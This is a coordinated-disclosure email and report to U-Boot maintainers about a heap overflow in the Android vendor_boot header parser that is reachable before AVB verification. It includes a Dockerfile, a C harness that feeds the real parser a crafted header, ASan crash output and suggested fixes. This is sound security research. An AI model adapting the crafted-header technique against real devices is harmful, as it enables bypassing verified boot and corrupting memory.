Hello U-Boot maintainers,
I'd like to report a High-severity security issue in U-Boot
(https://github.com/u-boot/u-boot /
https://git.u-boot-project.org/u-boot/u-boot) related to possible heap overflow
in U-Boot's Android bootmeth before any AVB verification.
I have attached 3 files with this email as described below.
1) report.md: A full description of the vulnerability and how to reproduce it,
together with suggested fix of the issue.
2) Dockerfile: A Dockerfile for demonstrating the issue.
3) driver.c: Work with the Dockerfile to demonstrate the issue.
Attribution
-----------
Please attribute Claude and Ada Logics. This issue was found by Anthropic from
using agents to study security of open source projects, and I am from Ada
Logics helping validate the found issues and creating the report manually and
notify the maintainers.
Disclosure
----------
This report follows a 90-day coordinated disclosure deadline. I'm happy to
coordinate on the exact timing and to provide any further detail you need.
Kind regards,
Arthur Chan
ADA Logics Ltd is registered in England. No: 11624074.
Registered office: 266 Banbury Road, Post Box 292,
OX2 7DL, Oxford, Oxfordshire , United Kingdom
FROM ubuntu:24.04
RUN apt-get update && \
apt-get install -y --no-install-recommends \
ca-certificates git gcc libc6-dev libasan8 && \
rm -rf /var/lib/apt/lists/*
WORKDIR /src
ARG PIN=ece349ade2973e220f524ce59e59711cc919263f
# Clone the real upstream tree and pin it. Fail hard unless HEAD == PIN.
RUN git clone https://github.com/u-boot/u-boot.git ub && \
cd ub && \
git checkout --detach ${PIN} && \
HEAD_SHA="$(git rev-parse HEAD)" && \
echo "HEAD=${HEAD_SHA} PIN=${PIN}" && \
[ "${HEAD_SHA}" = "${PIN}" ] || { echo "PIN MISMATCH"; exit 1; }
# Extract the REAL types/constants and the REAL functions verbatim from the
# pinned tree. No hand-copied code: awk lifts exact line ranges.
# include/android_image.h : constants + struct andr_vnd_boot_img_hdr
# + struct andr_image_data
# boot/image-android.c : checksum/is_trailer_present/add_trailer,
# android_vendor_boot_image_v3_v4_parse_hdr,
# is_android_vendor_boot_image_header
RUN cd /src/ub && \
{ awk 'NR>=23 && NR<=36' include/android_image.h; echo; \
awk 'NR>=55 && NR<=78' include/android_image.h; echo; \
awk 'NR>=332 && NR<=361' include/android_image.h; } > /src/gen_defs.h && \
{ awk 'NR>=21 && NR<=58' boot/image-android.c; echo; \
awk 'NR>=133 && NR<=180' boot/image-android.c; echo; \
awk 'NR>=452 && NR<=455' boot/image-android.c; } > /src/gen_impl.c && \
echo "===== gen_defs.h =====" && cat /src/gen_defs.h && \
echo "===== gen_impl.c =====" && cat /src/gen_impl.c
COPY driver.c /src/driver.c
RUN cd /src && \
PIN_SHA="$(cd ub && git rev-parse HEAD)" && \
gcc -std=gnu11 -g -O0 -fno-omit-frame-pointer -fsanitize=address \
-DGITPIN="\"${PIN_SHA}\"" -I/src driver.c -o /src/poc
ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=0:allocator_may_return_null=1
CMD ["/src/poc"]
/*
* Focused ASan harness for the U-Boot android bootmeth vendor_boot header
* parser. It drives the REAL upstream functions
* is_android_vendor_boot_image_header()
* android_vendor_boot_image_v3_v4_parse_hdr()
* add_trailer() / checksum() / is_trailer_present()
* which are extracted verbatim at build time from the pinned tree into
* gen_impl.c, together with the real struct andr_vnd_boot_img_hdr and the
* real BOOTCONFIG_* / ANDR_VENDOR_BOOT_* constants in gen_defs.h.
*
* Only the platform glue those functions need is modelled here:
* - map_to_sysmem / map_sysmem / unmap_sysmem are identity, exactly as
* they behave on real hardware (a virtual address IS the physical one).
* - ALIGN is U-Boot's power-of-two align macro.
* - u8/u32/u64/ulong are the kernel-style fixed-width types.
*
* The harness allocates the vendor_boot scan buffer the same way
* scan_vendor_boot_part() in boot/bootmeth_android.c does:
* num_blks = DIV_ROUND_UP(sizeof(struct andr_vnd_boot_img_hdr), blksz);
* bufsz = num_blks * blksz; (blksz = 512 -> 2560 bytes for a 2128 hdr)
* It then hands the parser an attacker-crafted header and lets ASan witness
* the trailer memcpy landing past that buffer.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>
/* ---- kernel-style types the extracted code expects ---- */
typedef uint8_t u8;
typedef uint32_t u32;
typedef uint64_t u64;
typedef unsigned long ulong;
/* ---- U-Boot align macro (power-of-two) ---- */
#define ALIGN(x, a) (((x) + ((a) - 1)) & ~(((ulong)(a)) - 1))
#define DIV_ROUND_UP(n, d) (((n) + (d) - 1) / (d))
/*
* map_to_sysmem()/map_sysmem() are identity on real hardware: the pointer
* the parser dereferences is the very address it computes offsets from.
*/
static inline ulong map_to_sysmem(const void *ptr)
{
return (ulong)(uintptr_t)ptr;
}
static inline void *map_sysmem(ulong paddr, unsigned long len)
{
(void)len;
return (void *)(uintptr_t)paddr;
}
static inline void unmap_sysmem(const void *vaddr)
{
(void)vaddr;
}
/* Real upstream types/constants, extracted verbatim from include/. */
#include "gen_defs.h"
/* Real upstream functions, extracted verbatim from boot/image-android.c. */
#include "gen_impl.c"
#ifndef GITPIN
#define GITPIN "unknown"
#endif
/* Block size of a typical removable device; drives the scan-buffer maths. */
#define BLKSZ 512
static char *alloc_scan_buffer(ulong *out_bufsz)
{
ulong num_blks = DIV_ROUND_UP(sizeof(struct andr_vnd_boot_img_hdr), BLKSZ);
ulong bufsz = num_blks * BLKSZ;
char *buf = malloc(bufsz);
if (!buf) {
perror("malloc");
exit(2);
}
memset(buf, 0, bufsz);
*out_bufsz = bufsz;
return buf;
}
static void fill_header(void *buf, u32 page_size, u32 bootconfig_size)
{
struct andr_vnd_boot_img_hdr *h = buf;
/* The ONLY gate scan_vendor_boot_part() applies: the 8-byte magic. */
memcpy(h->magic, VENDOR_BOOT_MAGIC, ANDR_VENDOR_BOOT_MAGIC_SIZE);
h->header_version = 4; /* v4 path (>3) */
h->page_size = page_size; /* attacker u32, unchecked */
h->vendor_ramdisk_size = 0; /* attacker u32, unchecked */
h->dtb_size = 0; /* attacker u32, unchecked */
h->vendor_ramdisk_table_size = 0; /* attacker u32, unchecked */
h->bootconfig_size = bootconfig_size; /* attacker u32, unchecked */
}
static void run_case(const char *label, u32 page_size, u32 bootconfig_size)
{
ulong bufsz;
char *buf = alloc_scan_buffer(&bufsz);
struct andr_image_data data;
fill_header(buf, page_size, bootconfig_size);
printf("== %s ==\n", label);
printf(" scan buffer : malloc(%lu) [buf .. buf+%lu)\n",
bufsz, bufsz);
printf(" hdr magic gate : is_android_vendor_boot_image_header() = %s\n",
is_android_vendor_boot_image_header(buf) ? "PASS" : "fail");
printf(" header_version : 4\n");
printf(" page_size (u32) : %u\n", page_size);
printf(" bootconfig_size(u32): %u\n", bootconfig_size);
memset(&data, 0, sizeof(data));
android_vendor_boot_image_v3_v4_parse_hdr((struct andr_vnd_boot_img_hdr *)buf,
&data);
/* Reached only when nothing overflowed. */
printf(" bootconfig_addr : buf + %lu (in-bounds: %s)\n",
data.bootconfig_addr - (ulong)buf,
(data.bootconfig_addr - (ulong)buf) < bufsz ? "yes" : "NO");
printf(" trailer write end : buf + %lu\n",
(data.bootconfig_addr - (ulong)buf) + data.bootconfig_size);
printf(" --> parsed with no out-of-bounds access\n\n");
free(buf);
}
int main(void)
{
/* Unbuffered so stdout survives ASan's abort in the positive case. */
setvbuf(stdout, NULL, _IONBF, 0);
printf("##### pin #####\n%s\n\n", GITPIN);
printf("### poc-android-vboot ###\n");
printf("sizeof(struct andr_vnd_boot_img_hdr) = %lu\n\n",
(ulong)sizeof(struct andr_vnd_boot_img_hdr));
/*
* NEGATIVE control: sane fields. page_size 256 puts bootconfig at
* offset 2304 inside the 2560-byte buffer; a small bootconfig_size
* (200) leaves room for the 20-byte trailer, so every read and the
* trailer write stay inside the allocation. Expect a clean parse.
*/
run_case("NEGATIVE control: bootconfig + trailer fit inside the buffer",
256, 200);
/*
* POSITIVE: same page_size, but bootconfig_size = 256 makes the
* bootconfig region end exactly at the buffer boundary, so the
* appended trailer's first memcpy writes at buf+2560 -- one byte past
* the allocation. bootconfig_addr and every offset term came straight
* from the attacker header; the write target is attacker-controlled.
* Expect an ASan heap-buffer-overflow WRITE.
*/
printf("(next case drives the trailer write past the scan buffer)\n\n");
run_case("POSITIVE: attacker fields drive the trailer write past the buffer",
256, 256);
/* Not reached: ASan aborts inside the positive case. */
printf("unexpectedly survived the positive case\n");
return 0;
}
# A crafted vendor_boot header lets a removable device drive an out-of-bounds write during U-Boot bootflow scanning, before any AVB verification runs
U-Boot's Android bootmeth parses the `vendor_boot` partition of a bootable device during the automatic bootflow scan, long before it verifies anything. When `android_read_bootflow()` scans a device it calls `scan_vendor_boot_part()`, which reads the raw `vendor_boot` header off the disk, checks only the 8-byte `"VNDRBOOT"` magic, and then hands the header to `android_image_get_vendor_bootimg_size()` -> `android_vendor_boot_image_v3_v4_parse_hdr()`. That parser computes a bootconfig target address by summing several unchecked attacker-controlled `u32` header fields (`page_size`, `vendor_ramdisk_size`, `dtb_size`, `vendor_ramdisk_table_size`) onto the header base, and, if `bootconfig_size` is non-zero, calls `add_trailer()`, which does `end = bootconfig_start_addr + bootconfig_size` and `memcpy`s a 20-byte trailer there plus a `checksum()` read over `bootconfig_size` bytes. Because `map_sysmem()`/`map_to_sysmem()` are identity on real hardware and every offset term is an unvalidated header field, an attacker who controls the `vendor_boot` partition (a removable card, USB image, or any medium the board auto-scans) chooses where that trailer write lands. This runs entirely inside the scan step, whereas `run_avb_verification()` is only invoked later from the boot step, so the write happens before the AVB signature check that is meant to gate untrusted images: a verified-boot bypass with an attacker-controlled out-of-bounds write primitive. The path is reached with `CONFIG_BOOTMETH_ANDROID` and vendor_boot bootconfig support enabled; it was confirmed by compiling the real parser and `add_trailer()` under AddressSanitizer and observing the trailer `memcpy` land past the header buffer.
## Root cause
The Android bootmeth splits work across two bootstd phases. `.read_bootflow` runs during device scanning; `.boot` runs only when the user or autoboot selects the flow.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/boot/bootmeth_android.c#L646-L651
```c
static struct bootmeth_ops android_bootmeth_ops = {
.check = android_check,
.read_bootflow = android_read_bootflow,
.read_file = android_read_file,
.boot = android_boot,
};
```
`android_read_bootflow()` (the scan phase) parses the vendor_boot partition as soon as the header version is 3 or higher. No verification has happened at this point.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/boot/bootmeth_android.c#L294-L300
```c
if (priv->header_version >= 3) {
ret = scan_vendor_boot_part(bflow->blk, priv);
if (ret < 0) {
log_debug("scan vendor_boot failed: err=%d\n", ret);
goto free_priv;
}
}
```
AVB verification lives in the separate boot phase, in `boot_android_normal()`, which is only entered from `android_boot()` after the flow is chosen.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/boot/bootmeth_android.c#L548-L558
```c
static int boot_android_normal(struct bootflow *bflow)
{
......
ret = run_avb_verification(bflow);
if (ret < 0)
return log_msg_ret("avb", ret);
```
`scan_vendor_boot_part()` allocates a header-sized buffer, reads the raw partition header into it, and applies exactly one gate, the `"VNDRBOOT"` magic, before parsing the header for its size.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/boot/bootmeth_android.c#L134-L154
```c
num_blks = DIV_ROUND_UP(sizeof(struct andr_vnd_boot_img_hdr), desc->blksz);
bufsz = num_blks * desc->blksz;
buf = malloc(bufsz);
......
if (!is_android_vendor_boot_image_header(buf)) {
free(buf);
return log_msg_ret("header", -ENOENT);
}
if (!android_image_get_vendor_bootimg_size(buf, &priv->vendor_boot_img_size)) {
```
The gate is an 8-byte memcmp and nothing more.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/boot/image-android.c#L452-L455
```c
bool is_android_vendor_boot_image_header(const void *vendor_boot_img)
{
return !memcmp(VENDOR_BOOT_MAGIC, vendor_boot_img, ANDR_VENDOR_BOOT_MAGIC_SIZE);
}
```
The parser then builds `bootconfig_addr` by adding page-aligned, attacker-controlled `u32` fields onto the header base. `page_size`, `vendor_ramdisk_size`, `dtb_size`, `vendor_ramdisk_table_size` and `bootconfig_size` are all taken straight from the header with no bound check against the header buffer or any loaded-image extent. When `bootconfig_size` is non-zero it maps `bootconfig_addr` (identity on hardware) and calls `add_trailer()`.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/boot/image-android.c#L148-L179
```c
data->bootconfig_size = hdr->bootconfig_size;
end = map_to_sysmem(hdr);
if (hdr->header_version > 3)
end += ALIGN(ANDR_VENDOR_BOOT_V4_SIZE, hdr->page_size);
else
end += ALIGN(ANDR_VENDOR_BOOT_V3_SIZE, hdr->page_size);
......
end += ALIGN(hdr->dtb_size, hdr->page_size);
end += ALIGN(hdr->vendor_ramdisk_table_size, hdr->page_size);
data->bootconfig_addr = end;
if (hdr->bootconfig_size) {
void *bootconfig_ptr = map_sysmem(data->bootconfig_addr,
data->bootconfig_size +
BOOTCONFIG_TRAILER_SIZE);
data->bootconfig_size += add_trailer((ulong)bootconfig_ptr,
data->bootconfig_size);
```
`add_trailer()` computes `end = bootconfig_start_addr + bootconfig_size` and writes a `BOOTCONFIG_SIZE_SIZE`-byte length, a `BOOTCONFIG_CHECKSUM_SIZE`-byte checksum and the `BOOTCONFIG_MAGIC` string there, and runs `checksum()` across `bootconfig_size` bytes starting at `bootconfig_start_addr`. Both the start address and the length are attacker-derived, so every one of these accesses is at an address the header chose.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/boot/image-android.c#L36-L58
```c
static ulong add_trailer(ulong bootconfig_start_addr, ulong bootconfig_size)
{
ulong end;
ulong sum;
......
end = bootconfig_start_addr + bootconfig_size;
if (is_trailer_present(end))
return 0;
memcpy((void *)(end), &bootconfig_size, BOOTCONFIG_SIZE_SIZE);
sum = checksum((unsigned char *)bootconfig_start_addr, bootconfig_size);
memcpy((void *)(end + BOOTCONFIG_SIZE_SIZE), &sum,
BOOTCONFIG_CHECKSUM_SIZE);
memcpy((void *)(end + BOOTCONFIG_SIZE_SIZE + BOOTCONFIG_CHECKSUM_SIZE),
BOOTCONFIG_MAGIC, BOOTCONFIG_MAGIC_SIZE);
return BOOTCONFIG_TRAILER_SIZE;
}
```
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/boot/image-android.c#L21-L28
```c
static ulong checksum(const unsigned char *buffer, ulong size)
{
ulong sum = 0;
for (ulong i = 0; i < size; i++)
sum += buffer[i];
return sum;
}
```
Nothing in this chain confirms that `bootconfig_addr`, or `bootconfig_addr + bootconfig_size`, or the range walked by `checksum()`, lies within the memory that was actually read from the device. The scan-buffer allocation in `scan_vendor_boot_part()` is only header-sized (`DIV_ROUND_UP(sizeof(struct andr_vnd_boot_img_hdr), blksz) * blksz`, 2560 bytes for the 2128-byte header on a 512-byte device), yet the offsets can point anywhere in the address space. This is the whole exploit surface, reached before AVB.
## Proof of Concept
The reproducer clones U-Boot, detaches to the pinned commit and aborts the build unless `HEAD` equals the pin. It then lifts, verbatim with `awk`, the real `struct andr_vnd_boot_img_hdr` and the `BOOTCONFIG_*` / `ANDR_VENDOR_BOOT_*` constants from `include/android_image.h`, and the real `checksum()`, `is_trailer_present()`, `add_trailer()`, `android_vendor_boot_image_v3_v4_parse_hdr()` and `is_android_vendor_boot_image_header()` from `boot/image-android.c`, and compiles them under AddressSanitizer. Only the platform glue the extracted code needs is modelled: `map_to_sysmem`/`map_sysmem` are identity, matching real hardware where the address the parser computes is the address it dereferences, and `ALIGN` is U-Boot's power-of-two macro. The harness allocates the scan buffer exactly as `scan_vendor_boot_part()` does and drives the real parser with a crafted header carrying a valid `"VNDRBOOT"` magic and attacker-chosen `page_size` and `bootconfig_size`. The scan-happens-before-AVB ordering is cited from `bootmeth_android.c` above (the two-phase `.read_bootflow`/`.boot` split); the attacker-controlled trailer write itself is executed and witnessed by ASan. The network and block layers are not exercised; the parser under test is the same code the scan path invokes.
```
docker build -t poc-android-vboot . && docker run --rm poc-android-vboot
```
### Result
```
##### pin #####
ece349ade2973e220f524ce59e59711cc919263f
### poc-android-vboot ###
sizeof(struct andr_vnd_boot_img_hdr) = 2128
== NEGATIVE control: bootconfig + trailer fit inside the buffer ==
scan buffer : malloc(2560) [buf .. buf+2560)
hdr magic gate : is_android_vendor_boot_image_header() = PASS
header_version : 4
page_size (u32) : 256
bootconfig_size(u32): 200
bootconfig_addr : buf + 2304 (in-bounds: yes)
trailer write end : buf + 2524
--> parsed with no out-of-bounds access
(next case drives the trailer write past the scan buffer)
== POSITIVE: attacker fields drive the trailer write past the buffer ==
scan buffer : malloc(2560) [buf .. buf+2560)
hdr magic gate : is_android_vendor_boot_image_header() = PASS
header_version : 4
page_size (u32) : 256
bootconfig_size(u32): 256
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51e000001680 at pc 0x55b921a646ef bp 0x7ffecce77d10 sp 0x7ffecce77d00
WRITE of size 4 at 0x51e000001680 thread T0
#0 0x55b921a646ee in add_trailer /src/gen_impl.c:30
#1 0x55b921a64ff2 in android_vendor_boot_image_v3_v4_parse_hdr /src/gen_impl.c:80
#2 0x55b921a65657 in run_case /src/driver.c:117
#3 0x55b921a65920 in main /src/driver.c:159
#4 0x7f5859b741c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#5 0x7f5859b7428a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#6 0x55b921a64384 in _start (/src/poc+0x2384) (BuildId: fc0674990266fa6de148aee85422e46dfbe3702b)
0x51e000001680 is located 0 bytes after 2560-byte region [0x51e000000c80,0x51e000001680)
allocated by thread T0 here:
#0 0x7f5859e599c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
#1 0x55b921a651fd in alloc_scan_buffer /src/driver.c:74
#2 0x55b921a65519 in run_case /src/driver.c:102
#3 0x55b921a65920 in main /src/driver.c:159
#4 0x7f5859b741c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#5 0x7f5859b7428a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#6 0x55b921a64384 in _start (/src/poc+0x2384) (BuildId: fc0674990266fa6de148aee85422e46dfbe3702b)
SUMMARY: AddressSanitizer: heap-buffer-overflow /src/gen_impl.c:30 in add_trailer
```
`gen_impl.c:30` is the first `memcpy` of `add_trailer()` (line 50 of `boot/image-android.c`), and `gen_impl.c:80` is the `add_trailer()` call inside `android_vendor_boot_image_v3_v4_parse_hdr()` (line 173). In the negative control the parser places bootconfig at `buf+2304` and, with a small `bootconfig_size`, the 20-byte trailer ends at `buf+2524`, inside the 2560-byte scan buffer, so the parse completes cleanly. In the positive case the only changed input is `bootconfig_size`, raised so the bootconfig region ends exactly at the buffer boundary; the parser then writes the trailer at `buf+2560`, and ASan reports a `WRITE of size 4` located `0 bytes after` the allocation. The write target is `bootconfig_start_addr + bootconfig_size`, both derived from the crafted header, so the same fields let an attacker place the write far from the buffer rather than one byte past it. The magic gate passes in both cases, confirming it is the sole check standing between a raw partition header and this write. Preconditions: a build with `CONFIG_BOOTMETH_ANDROID` and vendor_boot bootconfig handling, a board that auto-scans the medium the attacker controls, and an Android layout whose `vendor_boot` header advertises version 3 or 4; no signature or lock state is consulted before the parse.
## Mitigation
Do not parse or relocate untrusted image contents before AVB verification: move the vendor_boot parse out of the `.read_bootflow` scan path, or defer it until after `run_avb_verification()` has authenticated the `boot`/`vendor_boot` partitions. Independently, validate the header fields before use in `android_vendor_boot_image_v3_v4_parse_hdr()`: reject non-power-of-two or oversized `page_size`, and bound-check `vendor_ramdisk_size`, `dtb_size`, `vendor_ramdisk_table_size` and `bootconfig_size`, and the resulting `bootconfig_addr` and `bootconfig_addr + bootconfig_size`, against the size of the buffer that was actually read from the device before `add_trailer()` reads or writes through them.
## Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged manually with manual report writing by Ada Logics in collaboration with Anthropic Research.